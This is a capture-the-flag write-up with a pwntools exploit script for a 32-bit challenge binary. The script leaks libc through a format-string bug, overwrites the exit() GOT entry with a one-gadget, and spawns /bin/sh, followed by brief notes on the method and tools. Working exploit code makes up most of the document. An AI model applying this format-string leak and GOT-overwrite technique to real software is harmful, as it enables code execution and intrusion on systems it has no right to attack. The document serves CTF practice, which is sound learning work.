Rating: 5.0
### Solution
```
!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit template was generated via:
# $ pwn template chall
from pwn import *
# set up pwntools for the correct architecture
exe = context.binary = ELF('chall')
context.terminal = "tmux splitw -v".split()
libc = ELF("./libc-2.27.so")
# many built-in settings can be controlled on the command-line and show up
# in "args". for example, to dump all data sent/received, and disable aslr
# for all created processes...
# ./exploit.py debug noaslr
env = {"LD_PRELOAD": "./libc-2.27.so"}
def start(argv=[], *a, **kw):
'''start the exploit against the target.'''
if args.GDB:
return gdb.debug(["./ld-2.27.so", exe.path] + argv, gdbscript=gdbscript, env=env, *a, **kw)
else:
return process(["./ld-2.27.so", exe.path] + argv, env=env, *a, **kw)
# specify your gdb script here for debugging
# gdb will be launched if the exploit is run via e.g.
# ./exploit.py gdb
gdbscript = '''
tbreak main
'''.format(**locals())
#===========================================================
# exploit goes here
#===========================================================
# arch: i386-32-little
# relro: partial relro
# stack: canary found
# nx: nx enabled
# pie: no pie (0x8048000)
io = start()
def init(d):
io.sendlineafter("ARMOUR: enabled! Try to break in ;)", d)
def add(i, d):
io.sendlineafter("3. break armour", "1")
io.sendlineafter("Enter the index :", str(i))
io.sendlineafter("Enter the data :", d)
def show(i):
io.sendlineafter("3. break armour", "2")
io.sendlineafter("Enter the index :", str(i))
resp = io.recvline()
return resp.strip()
def break_armor():
io.sendlineafter("3. break armour", "3")
try:
resp = io.recvline()
resp = io.recvline()
return resp.strip()
except:
return none
# overwrites the got
def overwrite_got(target_func, new_func):
log.info("replace func {} @ {} with {}".format(target_func, hex(exe.sym.got[target_func]), hex(new_func)))
reactor = 0x0804a080
offset = int((exe.sym.got[target_func] - reactor)/0x10)
add(offset, p32(new_func))
log.info("init with a fmt string vuln")
init("%4$p")
log.info("leaking glibc via fmt string vuln")
leak = break_armor()
leak = leak.replace(b"Welcome to The Reactor (current status: MELTDOWN)", b"")
leak = int(leak, 16)
libc.address = leak - 0x1d53fc
log.info("libc base @ {}".format(hex(libc.address)))
one_gadget = libc.address + 0x3ccec
overwrite_got("exit", one_gadget)
log.info("causing an exit()")
io.sendlineafter("3. break armour", "4")
"""
# I could also rewrite exit to point to main
overwrite_got("exit", exe.sym["main"])
"""
io.interactive()
```
I used a format string vulnerability to leak GLIBC and its base address (alternatively, you can run the "show" command to look for leaks since there are no bounds to that function).
I then used a GOT overwrite to overwrite the `exit()` function to a one gadget. It took 2 tries to find the right one gadget since there were several to pick from:
```
0x3ccec execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
```
In Ghidra, you can see that if you input anything in the command selection menu besides 1, 2, or 3, it does `exit(0)`. So I just input "4" which caused the program to run `exit` PLT, which jumped to the `exit` GOT entry, which was overwritten by me to the one gadget which runs `/bin/sh`.
Also, if you wanted to have unlimited tries (not limited to only 3 inputs), you can overwrite the `exit` GOT with `main` which would cause the `main()` function to be run over and over again. Could be useful if there were more protections like PIE or if they gave you only 2 tries.
#### Other info
I used `pwninit` from https://github.com/io12/pwninit to set up the `ld.so`.
You have to use the linker (`ld.so`) and the provided libc to get the intended answer.
The solution code was templated by `pwntools` by running `pwn template ./chall > xpl.py`
The way to find a one gadget is by using this awesome utility: https://github.com/david942j/one_gadget